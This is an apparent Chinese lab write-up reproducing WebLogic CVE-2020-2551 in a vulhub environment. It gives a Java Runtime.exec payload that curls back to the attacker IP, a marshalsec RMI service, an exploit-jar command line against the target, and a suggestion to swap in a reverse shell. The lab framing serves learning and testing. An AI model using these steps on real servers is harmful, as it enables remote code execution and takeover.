Weblogic CVE-2020-2551漏洞復現
0x00 前言
在一次滲透測試過程中,碰見了該漏洞,並使用在野的POC驗證了這個漏洞存在,當時工具網傳的利用方式去進行利用,沒有成功,可能是自己太菜了吧。於是今天就打算把它復現,再來嘗試一下,看看是否可以成功利用。
0x01 漏洞環境
靶機環境:vulhub-weblogic-CVE-2017-10271
ip:172.16.10.26 端口:7001
攻擊機環境:fsec,ip:192.168.82.134
0x02 漏洞利用
首先使用docker起一個weblogic CVE-2017-1027的環境,進入到vulhub/weblogic/CVE-2017-1027,然后使用命令docker-compose up -d啟動:
查看是否啟動成功,使用命令docker ps:
接着去訪問本機的7001端口,出現如下頁面,說明服務成功開啟:
使用POC驗證,看是否存在CVE-2020-2551漏洞:
發現存在,接着就是對其進行利用。
編寫一個exp.java文件:
import java.io.IOException;
public class exp {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","curl http://192.168.82.134/sangforNP"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
其中curl http://192.168.82.134/sangforNP這句命令的作用是檢測靶機是否成功執行了這句命令,成功執行的話會在攻擊機架起的python http服務中會有一條這個記錄。
然后進行編譯,會發現多出一個exp.class文件
javac exp.java -source 1.6 -target 1.6
接着在當前目錄下使用python3起一個http服務,使用命令:
python3 -m http.server 80
接着使用marshalsec起一個惡意的RMI服務:
然后開始進行攻擊,使用命令:
java -jar weblogic_CVE_2020_2551.jar 172.16.10.26 7001 rmi://192.168.82.134:1099/exp
觀察python服務,是否有出現這么一條sangforNP的記錄:
成功,后面可以將exp.java中的命令換成反彈一個shell,就可以獲取到一個shell。
復現到后面,在內部的一個網盤里找到了該漏洞的利用工具,不得不說打包好的利用工具真香,一鍵getshell。如下所示:
漏洞檢測:
命令執行:
0x03 免責聲明
嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !